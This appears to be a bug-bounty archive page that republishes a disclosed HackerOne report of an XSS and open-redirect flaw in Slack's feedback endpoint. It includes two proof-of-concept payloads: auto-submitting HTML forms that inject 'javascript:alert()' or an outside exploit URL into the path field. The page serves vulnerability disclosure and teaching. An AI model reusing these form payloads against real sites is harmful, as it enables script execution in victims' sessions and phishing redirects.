Skip to content
XSS Disclosed report Intermediate

XSS on link and window.opener

A Slack feedback endpoint accepted a user-supplied path value; an attacker could cause script execution or redirect a victim to an evil site.

pisarenko Follow

Originally disclosed on HackerOne

Bounty$1,000 Medium 5.0 View original
  • Triaged in 11 days
  • Fixed in 39 days
  • Paid in 36 days
  • Disclosed after 2.8 years

Hi possible xss and error when clicking on the link .

`<form name="pisarenko" action="https://api.slack.com/feedback/submit" method="POST"> <input type='hidden' name='crumb' value="1"> <input type='hidden' name='path' value="javascript:alert()"> <input type='hidden' name='vote' value="Yes">

</form> <script>document.pisarenko.submit();</script>`

or

`<form name="pisarenko" action="https://api.slack.com/feedback/submit" method="POST"> <input type='hidden' name='crumb' value="1"> <input type='hidden' name='path' value="https://servisvk.com/exploit/opener.php"> <input type='hidden' name='vote' value="Yes">

</form> <script>document.pisarenko.submit();</script>`

Impact

Redirection from the original site to an evil site or execution of js code

Please check that the domain is slack

2020-03-29_at_23-20-26.mp4 From the original on HackerOne

The original report as published on HackerOne, by pisarenko. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the feedback endpoint accepted a submitted path value and used it without validating the URL scheme or destination.

What the attacker needed

Attacker can submit the feedback form; victim interacts with the resulting link

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page takes a value you send it and may use it unsafely. An attacker could make it run code or point at their own site. Here the feedback form's path field was used.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by pisarenko

View all

29 more disclosed reports, best first.

More from Slack

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.